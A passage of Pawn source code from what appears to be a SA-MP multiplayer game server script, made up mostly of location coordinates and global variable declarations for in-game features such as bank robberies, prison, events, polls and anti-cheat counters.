		{-785.256774, 2719.440917, 45.300182, "Valle Ocultado"},
		{-779.532104, 2774.275146, 45.864643, "Valle Ocultado"},
		{-879.216064, 2747.853759, 46.000000, "Valle Ocultado"},
		{-724.237121, 2761.054199, 47.958900, "Valle Ocultado"},
		{-921.067687, 2675.897705, 45.312007, "Valle Ocultado"},
		{-912.755981, 2685.360595, 45.579273, "Valle Ocultado"},
		{-895.774658, 2672.384033, 42.191963, "Valle Ocultado"},
		{-769.700073, 2770.898437, 50.696720, "Valle Ocultado"},
		{-801.442077, 2776.446044, 45.975139, "Valle Ocultado"},
		{-737.213012, 2744.907470, 50.156967, "Valle Ocultado"},
		{-809.037780, 2809.187255, 49.179012, "Valle Ocultado"},
		{-821.493896, 2690.416259, 67.090553, "Valle Ocultado"},
		{-875.683532, 2693.958251, 52.923053, "Valle Ocultado"},
		{-918.803100, 2669.565429, 42.370262, "Valle Ocultado"},
		{-928.732421, 2707.239257, 42.883373, "Valle Ocultado"},
		{-384.209350, 2206.028564, 45.671134, "Ghost Town"},
		{-417.697753, 2246.862548, 42.429687, "Ghost Town"},
		{-384.358673, 2206.287841, 45.671134, "Ghost Town"},
		{-375.438262, 2241.879882, 47.126880, "Ghost Town"},
		{-371.937103, 2266.688964, 42.484375, "Ghost Town"},
		{-395.177276, 2246.250000, 50.119434, "Ghost Town"},
		{-324.652770, 2216.008789, 44.212184, "Ghost Town"},
		{-456.136169, 2223.866699, 42.894790, "Ghost Town"},
		{-435.397033, 2249.250732, 46.098773, "Ghost Town"},
		{-397.759216, 2198.488281, 42.425659, "Ghost Town"},
		{-327.913360, 2231.848876, 43.372142, "Ghost Town"},
		{-439.359222, 2219.759033, 47.228851, "Ghost Town"},
		{-765.302185, 2491.239013, 102.136093, "Acro del Oeste"},
		{-802.416625, 2444.712158, 157.024627, "Acro del Oeste"},
		{-769.736938, 2423.740478, 161.240509, "Acro del Oeste"},
		{-775.107543, 2454.568847, 155.394210, "Acro del Oeste"},
		{-825.450378, 2423.629394, 154.799423, "Acro del Oeste"},
		{-811.348144, 2392.648925, 154.081359, "Acro del Oeste"},
		{-869.765625, 2308.967285, 161.556732, "Acro del Oeste"},
		{-854.010314, 2395.529785, 90.695556, "Acro del Oeste"},
		{-865.451293, 2353.720458, 99.970436, "Acro del Oeste"},
		{-794.787414, 2267.457275, 58.976562, "Acro del Oeste"},
		{-806.945800, 2257.034667, 59.155395, "Acro del Oeste"},
		{-861.962158, 2275.708984, 69.768547, "Acro del Oeste"},
		{-806.547485, 2257.323242, 70.167610, "Acro del Oeste"},
		{-798.468383, 2249.032958, 52.464538, "Acro del Oeste"},
		{-819.647888, 2380.772460, 128.528991, "Acro del Oeste"},
		{-659.340942, 2310.784667, 137.731201, "Acro del Oeste"},
		{-629.103271, 2387.976806, 128.003738, "Acro del Oeste"},
		{-1967.813110, -923.389343, 32.226562, "Foster Valley"},
		{-1975.327148, -895.343750, 35.289417, "Foster Valley"},
		{-1945.200073, -1091.307373, 32.175434, "Foster Valley"},
		{-1904.608642, -1029.386840, 32.223834, "Foster Valley"},
		{-2059.095214, -989.335815, 32.171875, "Foster Valley"},
		{-2100.027343, -862.919860, 32.171875, "Foster Valley"},
		{-2153.603271, -793.245605, 31.976562, "Foster Valley"},
		{-2065.419677, -811.472534, 32.171875, "Foster Valley"},
		{-1964.095703, -726.187255, 37.390625, "Foster Valley"},
		{-1970.476440, -729.316772, 37.682456, "Foster Valley"},
		{-1971.316284, -729.375305, 38.024555, "Foster Valley"},
		{-1954.998413, -894.500610, 35.890884, "Foster Valley"},
		{-1952.155517, -991.665954, 35.890625, "Foster Valley"},
		{-1971.808837, -988.987060, 32.226562, "Foster Valley"},
		{-2040.327270, -734.473449, 32.171875, "Foster Valley"},
		{-1954.255981, -763.292663, 35.890884, "Foster Valley"},
		{-1934.306640, -817.633239, 35.277336, "Foster Valley"},
		{-2154.379394, -889.910583, 32.171875, "Foster Valley"},
		{-1933.880859, -957.182373, 35.292263, "Foster Valley"},
		{-2077.329833, -876.431518, 32.171875, "Foster Valley"},
		{-2021.934204, -889.969665, 30.179347, "Foster Valley"},
		{-1967.698486, -923.311828, 32.226562, "Foster Valley"},
		{-1975.518432, -881.348754, 35.289417, "Foster Valley"},
		{-1949.256469, -866.676269, 32.226562, "Foster Valley"},
		{-1893.254760, -884.175720, 31.968750, "Foster Valley"},
		{-1939.472412, -792.035339, 32.226562, "Foster Valley"},
		{-1944.139770, -744.467956, 32.226562, "Foster Valley"},
		{-1938.702148, -702.345642, 32.171875, "Foster Valley"},
		{-1912.550048, -715.325622, 32.158123, "Foster Valley"},
		{-1890.561767, -715.974426, 32.171875, "Foster Valley"},
		{-1314.880126, 2523.205566, 93.098388, "Aldea Malvada"},
		{-1340.013183, 2566.662841, 92.453392, "Aldea Malvada"},
		{-1342.981445, 2577.075195, 77.273002, "Aldea Malvada"},
		{-1316.729370, 2595.577880, 73.072959, "Aldea Malvada"},
		{-1300.144653, 2546.430664, 87.742187, "Aldea Malvada"},
		{-1365.330444, 2531.653320, 87.216758, "Aldea Malvada"},
		{-1289.671264, 2516.583984, 87.161216, "Aldea Malvada"},
		{-1314.141967, 2528.084716, 87.613708, "Aldea Malvada"},
		{-1369.994506, 2530.447753, 77.454376, "Aldea Malvada"},
		{-1325.340332, 2516.338378, 87.046875, "Aldea Malvada"},
		{-1324.558593, 2532.424560, 87.561912, "Aldea Malvada"},
		{-1346.553466, 2565.318115, 80.643333, "Aldea Malvada"},
		{-541.176086, -561.201354, 26.798007, "The Fallen Tree"},
		{-504.101501, -539.727050, 25.523437, "The Fallen Tree"},
		{-503.481170, -527.582458, 25.523437, "The Fallen Tree"},
		{-475.996154, -552.346740, 33.121536, "The Fallen Tree"},
		{-470.645874, -538.255004, 29.121538, "The Fallen Tree"},
		{-466.353302, -468.697967, 25.523437, "The Fallen Tree"},
		{-517.881530, -496.789825, 25.523437, "The Fallen Tree"},
		{-620.473388, -472.812927, 25.523437, "The Fallen Tree"},
		{-644.839599, -445.775238, 27.982749, "The Fallen Tree"},
		{-586.403198, -398.734558, 24.491775, "The Fallen Tree"},
		{-554.032104, -423.535186, 29.328639, "The Fallen Tree"},
		{-488.099975, -449.957580, 42.387664, "The Fallen Tree"},
		{-507.062316, -434.387115, 37.013797, "The Fallen Tree"},
		{-501.433959, -570.266723, 24.771287, "The Fallen Tree"},
		{-440.963348, -582.747680, 14.563718, "The Fallen Tree"},
		{-624.458557, -561.871093, 26.267879, "The Fallen Tree"},
		{-657.998779, -588.320190, 33.299449, "The Fallen Tree"},
		{-505.762481, -522.940368, 36.364982, "The Fallen Tree"},
		{-615.547546, -506.135650, 33.525276, "The Fallen Tree"},
		{-596.443237, -526.158813, 33.525276, "The Fallen Tree"},
		{-615.139038, -531.275512, 37.525276, "The Fallen Tree"},
		{-624.562072, -509.588043, 33.459438, "The Fallen Tree"},
		{-531.809875, -467.091979, 26.224544, "The Fallen Tree"}
};
/*enum TrafficSignEnumerator
{
	   M1,
	   M2,
	   M3,
	   M4,
	   M5
}*/
//new TrafficSign[MAX_SIGNS][TrafficSignEnumerator];
new SignCounter;
enum skate{
	   bool:sActive,
	   sSkate,
};
// By SiNaGaMeR
// End of ///////////////////////////////////
/*GetPlayerNameEx(playerid) {

	   new     sz_playerName[MAX_PLAYER_NAME], i_pos;

	   GetPlayerName(playerid, sz_playerName, MAX_PLAYER_NAME);
	   while ((i_pos = strfind(sz_playerName, "_", false, i_pos)) != -1) sz_playerName[i_pos] = ' ';
	   return sz_playerName;
}*/
enum    e_headphone
{
	bool: HasHeadphones,
	bool: EditingHeadphones,
	bool: Listening,
	Color[3],
	Float: hpX,
	Float: hpY,
	Float: hpZ,
	Float: hpRX,
	Float: hpRY,
	Float: hpRZ,
	bool: Sound
}

// Vari
//new EnableBrake[MAX_PLAYERS];
new
	HeadphoneData[MAX_PLAYERS][e_headphone];
//new TextSubmitted[MAX_PLAYERS][1024];
new pDrunkLevelLast[MAX_PLAYERS];
new pFPS[MAX_PLAYERS];
//new OthTimers[MAX_PLAYERS];
new EventB[MAX_PLAYERS];
new NameA[MAX_PLAYERS][128];
new NameB[MAX_PLAYERS][128];
new LastMessageWarned[MAX_PLAYERS][150];
new Float:Cdistance[MAX_PLAYERS];
new Float:Ldistance[MAX_PLAYERS];
new Float:CHeight[MAX_PLAYERS];
new Float:LHeight[MAX_PLAYERS];
new GunNameEx[47][20] =
{
    "Fist","Brass Knuckles","Golf Club","Nite Stick","Knife","Baseball Bat","Shovel","Pool Cue","Katana","Chainsaw","Dildo","Dildo","Vibrator",
    "Silver Vibrator","Flowers","Cane","Grenade","Tear Gas","Molotv Cocktail","?","?","?","Pistol","Silenced Pistol","Desert Eagle","Shotgun","Sawn-off Shotgun",
    "Combat Shotgun","Micro-SMG","MP5","AK-47","M4","Tec9","Rifle","Sniper Rifle","RPG","HS-RPG","Flame Thrower","Minigun","Satchel Charge","Detonator",
    "Spray Can","Fire Extinguisher","Camera","Night Goggles","Thermal Goggles","Parachute"
};
new Float:BossCircleAreas[2][3] =
{
  {1762.0, -2553.0, 13.5469},
  {1440.0, 1496.0, 10.8203}
};
new Float:BossRectangleAreas[2][4] =
{
  {1388.0,-2623.0,2124.0,-2423.0},
  {1353.0, 1222.0, 1553.0, 1842.0}
};
new Float:AngelSpawns[2][4] =
{
  {1879.3485,-2311.6772,13.5469,340.0},
  {1651.5461,1619.1134,10.8203,270.0}
};
	new bool:MightyM4[MAX_PLAYERS];
	new MightyM4Timer[MAX_PLAYERS];
	new bool:MightyDeagle[MAX_PLAYERS];
	new MightyDeagleTimer[MAX_PLAYERS];
	new bool:MightyMP5[MAX_PLAYERS];
	new MightyMP5Timer[MAX_PLAYERS];
	new bool:DeadlyM4[MAX_PLAYERS];
	new DeadlyM4Timer[MAX_PLAYERS];
	new bool:DeadlyDeagle[MAX_PLAYERS];
	new DeadlyDeagleTimer[MAX_PLAYERS];
	new bool:DeadlyMP5[MAX_PLAYERS];
	new DeadlyMP5Timer[MAX_PLAYERS];
	new bool:LessDamaged[MAX_PLAYERS];
	new LessDamagedTimer[MAX_PLAYERS];
	new bool:ExtraDamage1[MAX_PLAYERS];
	new ExtraDamage1Timer[MAX_PLAYERS];
	new bool:ExtraDamage2[MAX_PLAYERS];
	new ExtraDamage2Timer[MAX_PLAYERS];
	new bool:ExtraDamage3[MAX_PLAYERS];
	new ExtraDamage3Timer[MAX_PLAYERS];
	new bool:LuckyTime[MAX_PLAYERS];
	new LuckyTimeTimer[MAX_PLAYERS];
	new bool:SuperMan[MAX_PLAYERS];
	new SuperManTimer[MAX_PLAYERS];
new TestVR[MAX_PLAYERS];
new FararTime[MAX_PLAYERS];
new FararTimeEx[MAX_PLAYERS];
new ImFararing[MAX_PLAYERS];
new GunGereftam[MAX_PLAYERS];
new PrisonOutWarn[MAX_PLAYERS];
new ImInPrison[MAX_PLAYERS];
new AzadShode[MAX_PLAYERS];
new EventBannedPlayer[MAX_PLAYERS];
new EventPlayerEx[MAX_PLAYERS];
new ReqMyEventID[MAX_PLAYERS];
new ReqEventID[MAX_PLAYERS];
new ReqPrize[MAX_PLAYERS];
new ReqInt[MAX_PLAYERS];
new ReqTitle[MAX_PLAYERS][30];
new ReqHamkar[MAX_PLAYERS];
new ReqMinLevel[MAX_PLAYERS];
new ReqMaxLevel[MAX_PLAYERS];
new ReqType[MAX_PLAYERS];
new CheColor1[MAX_PLAYERS];
new CheColor2[MAX_PLAYERS];
new CheghadrPool[MAX_PLAYERS];
new ControleTun[MAX_PLAYERS];
new ImInTuning[MAX_PLAYERS];
new BayadPoolBedam[MAX_PLAYERS];
new OnDuel[MAX_PLAYERS];
new DuelWith[MAX_PLAYERS];
new DuelBy[MAX_PLAYERS];
new Float:IMined[MAX_PLAYERS];
new ImMining[MAX_PLAYERS];
new EnteredName[MAX_PLAYERS][25];
new EnteredRef[MAX_PLAYERS];
new ImInSafeZone[MAX_PLAYERS];
new ImInJump[MAX_PLAYERS];
new HostageTime[MAX_PLAYERS];
new ManHostageAm[MAX_PLAYERS];
new ManHostageDaram[MAX_PLAYERS];
new UFOSavar[MAX_PLAYERS];
new GunVIPx[MAX_PLAYERS];
new MyState[MAX_PLAYERS];
new ImInTurfEx[MAX_PLAYERS];
new ShouldKill[MAX_PLAYERS];
new NaroJelo[MAX_PLAYERS];
new NabayadElamShe[MAX_PLAYERS];
new ChiPayMikone[MAX_PLAYERS];
new KickMikonamPlayerX[MAX_PLAYERS];
new ShouldGoldPay[MAX_PLAYERS];
new ShouldMoneyPay[MAX_PLAYERS];
new SZShow[MAX_PLAYERS];
new UnAttachNasho[MAX_PLAYERS];
new ImEnteredGame[MAX_PLAYERS];
new ImInTurfWhat[MAX_PLAYERS];
new DoingNaft[MAX_PLAYERS];
new OilExport[MAX_PLAYERS];
new OilInHand[MAX_PLAYERS];
new OilInCar[MAX_VEHICLES];
new ShipObject[MAX_VEHICLES] = {INVALID_OBJECT_ID, ...};
new UFOOwnerID[MAX_VEHICLES];
new IHaveBuffs[MAX_PLAYERS];
new CantHoldGun[MAX_PLAYERS];
new CheckKonBN[MAX_PLAYERS];
new BossTDShowed[MAX_PLAYERS];
new BGMode[MAX_PLAYERS];
new olDSkin[MAX_PLAYERS];
new myBG[MAX_PLAYERS];
new ImBG[MAX_PLAYERS];
new RequestedBG[MAX_PLAYERS];
new BGFee[MAX_PLAYERS];
new WhichSkinI[MAX_PLAYERS];
new ShouldTel[MAX_PLAYERS];
new ShouldntKick[MAX_PLAYERS];
new ConnectIPFl[MAX_PLAYERS];
new covername[MAX_PLAYERS];
new silent[MAX_PLAYERS];
new airplane[MAX_PLAYERS];
new onnametag[MAX_PLAYERS];
new BizBZ[MAX_PLAYERS];
new NCShowed[MAX_PLAYERS];
new CanYES[MAX_PLAYERS];
new ToysStudioDT[MAX_PLAYERS][ToysStudioenum],
	LastMokhtasatDialog[MAX_PLAYERS],
	SelectColor[MAX_PLAYERS],
	CameraPoint[MAX_PLAYERS],
	LastONOffToys[MAX_PLAYERS][20],
	PlayerObjectsInfo[MAX_PLAYERS][MAX_PLAYER_TOYS_SLOT][attached_object_data],
	ToysTdCreated[MAX_PLAYERS],
	PlayerToyObjectShowed[MAX_PLAYERS][6],
	Text:ToysGTD[73],
	PlayerText:TOYS_PTD[MAX_PLAYERS][12],
	PlayerText:SELECTER[MAX_PLAYERS][13],
	Text:OBJTTT[10];
new PlayersPhones[MAX_PLAYERS][PlayerPhoneInfo];
new Text:PhoneTest[MaxNoKiaGlobalTD];
new Text:NokiaPtds[85][MaxNoKiaPlayerTD];
new phoneloaded[MAX_PLAYERS]=0;//0: off--1:safhe avval--2:sms 3-dial number
new onselfihiden[MAX_PLAYERS]=0;
new TahtName[MAX_PLAYERS][25];
new TheQuestion[MAX_PLAYERS][128];
new TheAnswer[MAX_PLAYERS][128];
new WhatEmail[MAX_PLAYERS][128];
new QuestionX[MAX_PLAYERS][128];
new AnswerX[MAX_PLAYERS][128];
new ImInCP[MAX_PLAYERS];
new BackInVeh[MAX_PLAYERS];
new MyBardashtedPool[MAX_PLAYERS];
new ImPickingUp[MAX_PLAYERS];
new ICanVoteForRob[MAX_PLAYERS];
new WarnsForEnter[MAX_PLAYERS];
new ImInAreaLS[MAX_PLAYERS];
new ImInSection[MAX_PLAYERS];
new HeadCounter[MAX_PLAYERS];
new ZeroTimer[MAX_PLAYERS];
new AIBTimer[MAX_PLAYERS];
new textPlate[MAX_PLAYERS][25];
new ChatColor[MAX_PLAYERS];
new BugSubject[MAX_PLAYERS][129];
new BugCaption[MAX_PLAYERS][129];
new MOWED[MAX_PLAYERS];
new Dozdidam[MAX_PLAYERS];
new Dozdidan[MAX_PLAYERS];
new ImDrived[MAX_PLAYERS];
new DrinkAbout[MAX_PLAYERS];
new Drinking[MAX_PLAYERS];
new ShouldTakeIt[MAX_VEHICLES];
new Usable[MAX_PLAYERS];
new ATWarns[MAX_PLAYERS];
new Robbing[MAX_PLAYERS];
new PIN1ZadamNew[MAX_PLAYERS];
new PIN2ZadamNew[MAX_PLAYERS];
new PIN3ZadamNew[MAX_PLAYERS];
new PIN4ZadamNew[MAX_PLAYERS];
new PCoolDown[MAX_PLAYERS];
new PIN1Zadam[MAX_PLAYERS];
new PIN2Zadam[MAX_PLAYERS];
new PIN3Zadam[MAX_PLAYERS];
new PIN4Zadam[MAX_PLAYERS];
new MitooneCancelKone[MAX_PLAYERS];
new Pinning[MAX_PLAYERS];
new ChandAdadZadam[MAX_PLAYERS];
new DesyncCount[MAX_PLAYERS];
new AdminCheckedMSG[MAX_PLAYERS];
new DisableDWarning[MAX_PLAYERS];
new SyncCoolDown[MAX_PLAYERS];
new ShowedForMEUPD[MAX_PLAYERS];
new InvalidClient[MAX_PLAYERS];
new MyCmdSpams[MAX_PLAYERS];
new IsReported[MAX_PLAYERS];
new IsHelpmed[MAX_PLAYERS];
new IsOnReport[MAX_PLAYERS];
new IsOnHelpme[MAX_PLAYERS];
new AnsweringReport[MAX_PLAYERS];
new AnsweringHelpme[MAX_PLAYERS];
new ISelectedWhat[MAX_PLAYERS];
new SaveThisData1[MAX_PLAYERS][100];
new SaveThisData2[MAX_PLAYERS][100];
new SaveThisData3[MAX_PLAYERS][100];
new ImAddingNew[MAX_PLAYERS];
new ICanHackWanted[MAX_PLAYERS];
new ICanFree[MAX_PLAYERS];
new ImHackedGates[MAX_PLAYERS];
new CanHackFind[MAX_PLAYERS];
new NoFindMeHacker[MAX_PLAYERS];
new HackingNumber[MAX_PLAYERS];
new HackingNumberMin[MAX_PLAYERS];
new HackingNumberMax[MAX_PLAYERS];
new MyLastSkin[MAX_PLAYERS];
new MyLastColor[MAX_PLAYERS];
new HackerCovered[MAX_PLAYERS];
new HamleDrugs[MAX_PLAYERS];
new DontBeLate[MAX_PLAYERS];
new MyBuyer[MAX_PLAYERS][32];
new WhoIsMissioner[MAX_PLAYERS];
new AllowToPickupDrug[MAX_PLAYERS];
new GramsIllicit[MAX_PLAYERS];
new WhichSelected[MAX_PLAYERS];
new TellMeTheCode[MAX_PLAYERS][15];
new WhoCreatedCode[MAX_PLAYERS][32];
new WhoUsedIt[MAX_PLAYERS][32];
new CreatedDate[MAX_PLAYERS][40];
new UsedDateOrg[MAX_PLAYERS][40];
new UsedOrNot[MAX_PLAYERS];
new CodeCreated[MAX_PLAYERS][13];
new CodeGold[MAX_PLAYERS];
new CodeMoney[MAX_PLAYERS];
new CodeLevel[MAX_PLAYERS];
new CodeRespect[MAX_PLAYERS];
new BajjeToggle[MAX_PLAYERS];
new AutoSleepZade[MAX_PLAYERS];
new BayadPublish[MAX_PLAYERS];
new MikhadPollPrivate[MAX_PLAYERS];
new MikhadPollPublic[MAX_PLAYERS];
//new HoolooBepparTooGaloo[MAX_PLAYERS];
/*
new PlayerPing[MAX_PLAYERS];
new PlayerFPSS[MAX_PLAYERS];
new PlayerNamee[MAX_PLAYERS][32];
new PlayerISP[MAX_PLAYERS][MAX_PLAYERS];
new PlayerCountry[MAX_PLAYERS][MAX_PLAYERS];
new PlayerIP[MAX_PLAYERS][30];
new Float:PlayerPacket[MAX_PLAYERS];
*/
new CheatsCount[MAX_PLAYERS];
new cheatcode1[MAX_PLAYERS];
new cheatcode2[MAX_PLAYERS];
new cheatcode3[MAX_PLAYERS];
new cheatcode4[MAX_PLAYERS];
new cheatcode5[MAX_PLAYERS];
new cheatcode6[MAX_PLAYERS];
new cheatcode7[MAX_PLAYERS];
new cheatcode8[MAX_PLAYERS];
new cheatcode9[MAX_PLAYERS];
new cheatcode10[MAX_PLAYERS];
new cheatcode11[MAX_PLAYERS];
new cheatcode12[MAX_PLAYERS];
new cheatcode13[MAX_PLAYERS];
new cheatcode14[MAX_PLAYERS];
new cheatcode15[MAX_PLAYERS];
new cheatcode16[MAX_PLAYERS];
new cheatcode17[MAX_PLAYERS];
new cheatcode18[MAX_PLAYERS];
new cheatcode19[MAX_PLAYERS];
new cheatcode20[MAX_PLAYERS];
new cheatcode21[MAX_PLAYERS];
new cheatcode22[MAX_PLAYERS];
new cheatcode23[MAX_PLAYERS];
new cheatcode24[MAX_PLAYERS];
new cheatcode25[MAX_PLAYERS];
new cheatcode26[MAX_PLAYERS];
new cheatcode27[MAX_PLAYERS];
new cheatcode28[MAX_PLAYERS];
new cheatcodefly[MAX_PLAYERS];
new cheatcodefly2[MAX_PLAYERS];
//new BoroRange[MAX_PLAYERS];
//new AdminElamShod[MAX_PLAYERS];
//new HelperElamShod[MAX_PLAYERS];
////new LeaderElamShod[MAX_PLAYERS];
//new AdminElamShod2[MAX_PLAYERS];
//new HelperElamShod2[MAX_PLAYERS];
//new LeaderElamShod2[MAX_PLAYERS];
////new YeCheckKon[MAX_PLAYERS];
//new AFKCheckActiveTimer[MAX_PLAYERS];
//new AFKCheckActiveAdad[MAX_PLAYERS];
new ANickDare[MAX_PLAYERS];
new ANick[MAX_PLAYERS][30];
new MapClick[MAX_PLAYERS];
new WantedMin[MAX_PLAYERS];
new WantedSec[MAX_PLAYERS];
new SinaManam[MAX_PLAYERS];
new RelogPlayerDovvom[MAX_PLAYERS];
new RelogPlayerfCheat[MAX_PLAYERS];
new RelogPlayerAvval[MAX_PLAYERS];
new RelogPlayerSevvom[MAX_PLAYERS];
new RelogPlayerCharom[MAX_PLAYERS];
new NOPMin[MAX_PLAYERS];
new ImInArea[MAX_PLAYERS];
new BankIdleTimer[MAX_PLAYERS];
new CouldUseCMD[MAX_PLAYERS];
new FreezeTimerX[MAX_PLAYERS];
new BOXTIMEKILLER[MAX_PLAYERS];
new AntiPichPichi[MAX_PLAYERS];
new DozdidamTimer[MAX_PLAYERS];
new DozdidanTimer[MAX_PLAYERS];
new LoggTIME[MAX_PLAYERS];
new LoggTIME2[MAX_PLAYERS];
new LoggTIME3[MAX_PLAYERS];
new CheckMeh[MAX_PLAYERS];
new ConvTime[MAX_PLAYERS];
new SickTime[MAX_PLAYERS];
new Wuroz[MAX_PLAYERS];
new UiOTimer[MAX_PLAYERS];
new CarRespawner[MAX_VEHICLES];
new DonerZ[MAX_PLAYERS];
new DonerZ2[MAX_PLAYERS];
new RTimer[MAX_PLAYERS];
new TIMer[MAX_PLAYERS];
new SRTimer[MAX_PLAYERS];
new PINCoolDown[MAX_PLAYERS];
new GPSTimer[MAX_PLAYERS];
new DesyncBegin[MAX_PLAYERS];
new DeSyncCool[MAX_PLAYERS];
new ArTimerZ[MAX_PLAYERS];
new HPTimerZ[MAX_PLAYERS];
new FlyCheatTimer[MAX_PLAYERS];
new FlyCheatTimer2[MAX_PLAYERS];
//new MySpamsTimer[MAX_PLAYERS];
new MinerCoins[MAX_PLAYERS];
new GetThisFac[MAX_PLAYERS];
new GetThisFacZZ[MAX_PLAYERS];
new MyNewsTimer[MAX_PLAYERS];
new ForceEnd[MAX_PLAYERS];
new ForceEndCop[MAX_PLAYERS];
new WireConnect[MAX_PLAYERS];
new HackedGatesTimer[MAX_PLAYERS];
new TimerToHackGates[MAX_PLAYERS];
new FindCheckHack[MAX_PLAYERS];
new FindHackerTimer[MAX_PLAYERS];
new GateHackDelay[MAX_PLAYERS];
new DontArriveSoon[MAX_PLAYERS];
new EventTeleporter[MAX_PLAYERS];
new SohbatDrug1[MAX_PLAYERS];
new SohbatDrug2[MAX_PLAYERS];
new SohbatDrug3[MAX_PLAYERS];
new SohbatDrug4[MAX_PLAYERS];
new DrugGrowTimer[MAX_PLAYERS];
new SearchForBuyerTimer[MAX_PLAYERS];
new AttemptAlaf[MAX_PLAYERS];
new YabooAlafi[MAX_PLAYERS];
new ManKardam1[MAX_PLAYERS];
new ManKardam2[MAX_PLAYERS];
new ManKardam3[MAX_PLAYERS];
new ManKardam4[MAX_PLAYERS];
new ManKardam5[MAX_PLAYERS];
//new TooMargGoshne[MAX_PLAYERS];
//new TooMargTeshne[MAX_PLAYERS];
new shodbaw[MAX_PLAYERS];
new shodbaw2[MAX_PLAYERS];
//new MizaneGoshnegi[MAX_PLAYERS];
//new MizaneTeshnegi[MAX_PLAYERS];
//new okshodeveh[MAX_PLAYERS];
//new lotfkonybr[MAX_PLAYERS];
//new lotfkonybrz[MAX_PLAYERS];
//new okshodeweap[MAX_PLAYERS];
//new okshodevehz[MAX_PLAYERS];
//new okshodeweapz[MAX_PLAYERS];
new dialogbet[MAX_PLAYERS];
new poolebetshode[MAX_PLAYERS];
new cooldownbet[MAX_PLAYERS];
new CanBet[MAX_PLAYERS];
new freezeonbet[MAX_PLAYERS];
new freezeonbetv[MAX_PLAYERS];
new ghghz[MAX_PLAYERS];
//new HelpmeMide[MAX_PLAYERS];
//new ReportMide[MAX_PLAYERS];
new restarttime[MAX_PLAYERS];
new buyskins[MAX_PLAYERS];
//new warbbo[MAX_PLAYERS];
new hitmanord[MAX_PLAYERS];
//new psday1[MAX_PLAYERS];
//new phday1[MAX_PLAYERS];
new hstrm[MAX_PLAYERS];
new adminwp[MAX_PLAYERS];
new siyoma[MAX_PLAYERS];
new onnlogin[MAX_PLAYERS];
new staffget[MAX_PLAYERS];
new sleepgod[MAX_PLAYERS];
new sleepee[MAX_PLAYERS];
new myaddade[MAX_PLAYERS];
new ragoto[MAX_PLAYERS];
new activetime[MAX_PLAYERS];
new AutoJet[MAX_PLAYERS];
new AutoGM[MAX_PLAYERS];
new ASAR[MAX_PLAYERS];
new HSAR[MAX_PLAYERS];
new FPSShow[MAX_PLAYERS];
new GPSShow[MAX_PLAYERS];
new HPShow[MAX_PLAYERS];
new PINGShow[MAX_PLAYERS];
new JMikhad[MAX_PLAYERS];
new BBoxDare[MAX_PLAYERS];
new BBoxDareG[MAX_PLAYERS];
new BBoxDid[MAX_PLAYERS];
new CPass[MAX_PLAYERS][129];
new reportsc,helpmesc;
#define MAX_ROPES 700
new InSleep[MAX_PLAYERS];
new MusicAll[MAX_PLAYERS];
new Eynaki[MAX_PLAYERS];
new pindare[MAX_PLAYERS];
new Adplayer[MAX_PLAYERS];
//new NotMulti[MAX_PLAYERS][MAX_PLAYERS];
//new MyScore[MAX_PLAYERS];
//new AsansorB,AsansorP;
 new GodmodeFeatureS;
new SvReports;
new SvHelpmes;
//new Dozdi;
new YekiFararKarde=0;
new CanGoOut=0;
new prisonmolaghatopen=0;
new prisonmolaghat;
new PrisonArea;
new prisonpickup1;
new prisonpickup2;
new prisonpickup3;
new prisonpickup4;
new prisonpickup5;
new prisonpickup6;
new prisonpickup7;
new prisonpickup8;
new prisonpickup9;
new prisonpickup10;
new prisonpickup11;
new prisonpickup12;
new prisonpickup13;
new prisonpickup14;
new prisonpickup15;
new prisonpickup16;
new prisonpickup17;
new prisonpickup18;
new prisonpickup19;
new prisonpickup20;
new prisonpickup21;
new prisonmaingate;
new prisonextobj;
new prisonextobjex;
new prisonextobjex2;
new SVEventPosSetShode=0;
new BazShodeEvent=0;
new SVEventJoin=false;
new SVEventVW=0;
new SVEventIntEx=0;
new Float:SVEventPOS[3];
new EventStopper;
new SVEventOrganizer=9999;
new SVEventPrize=0;
new SVEventInt=0;
new SVEventTitle[30];
new SVEventHamkar=9999;
new SVEventMinLevel=1;
new SVEventMaxLevel=200;
new SVEventType=0;
new IsThereEvent=false;
new countdown=0;
new HandleCoins=1;
new AllTurfsGangZones[549];
new SafeZoneArea[56];
new SafeZoneAreaRect[56];
new betshopl=0;
new BuffPickup[60];
new BetShopArea=-1;
// BOSS by Sina
new Boss=-1,
Angel=-1,
//bool:ThereIsBoss,
bool:IsBossAsleep,
Text3D:BossLabel=Text3D:-1,
Text3D:AngelLabel=Text3D:-1,
BossArea=-1,
BossArea2=-1,
BossTarget=-1,
PlayerText:Boss_PTD[MAX_PLAYERS],
Text:Boss_TD[9],
Float:BossScore[MAX_PLAYERS],
bool:BossSpawn[MAX_PLAYERS],
BossTimer,
BossSpawnLocation;
// ---
new CurColorTD1;
new CurColorTD2;
new PoolToo1;
new PoolToo2;
new PoolToo3;
new PoolToo4;
new RobVeh;
new PickupedPool;
new TakeUpd;
new Text:TDTake;
new NowCanPickupMoney;
new BreakThatDoor;
new BreakAvDar;
new LSDarTimer, LVDarTimer;
new sGunner1, sGunner2, sHacker, sRunner, KiRafteAzRob, ReadyPlayers, NewRobLeader;
new IsServerRob;
new BankLS1;
new BankLS2;
new BankLS3;
new BankLS4;
new BankLV1;
new BankLV2;
new BankLV3;
new BankLV4;
new BankSF1;
new BankSF2;
new BankSF3;
new BankSF4;
new BankMapLS, BankMapLSDar1, BankMapLV, BankMapLVDar1, BankMapLSDar1HP = 100, BankMapLVDar1HP = 100;
new BankMapLSActor1,BankMapLSActor2,BankMapLSActor3,BankMapLSActor4,BankMapLSActor5,BankMapLSActor6,BankMapLSActor8,BankMapLSActor9;
new BankMapLVActor1,BankMapLVActor2,BankMapLVActor3,BankMapLVActor4,BankMapLVActor5,BankMapLVActor6,BankMapLVActor8,BankMapLVActor9;
new SnowMap;
new TimerLS;
new TimerLV;
new TimerSF;
new goftls;
new goftlv;
new goftsf;
new NPCLS;
new NPCLV;
new NPCSF;
new AdminElamShod;
new HelperElamShod;
new LeaderElamShod;
new DrugActor;
new AreaGirBede;
new AreaGirBede2;
new AreaLaser1;
new AreaLaser2;
new BankGate1;
new BankGate2;
new ThatAdmin[32];
new IDeCodeRoBegir;
new TogPoll;
new TheFingTimer;
new TotalVotes;
new Op1Votes;
new Op2Votes;
new OnGoingPoll;
new DoingPoll;
new PollTitle[144];
new PollType;
new PollOp1[10];
new PollOp2[10];
new IsAnyPollActivated;
new IsAnyPollPublic;
new IsAnyPollPrivate;
new CheatMaxWarn;
new svsec;
new svhour;
new svmin;
new svday;
new bayadclearbashe;
new PaintballMin;
new PaintballSec;
new AzinGameTD;
new BETSHOPTD;
new bajje1;
new bajje2;
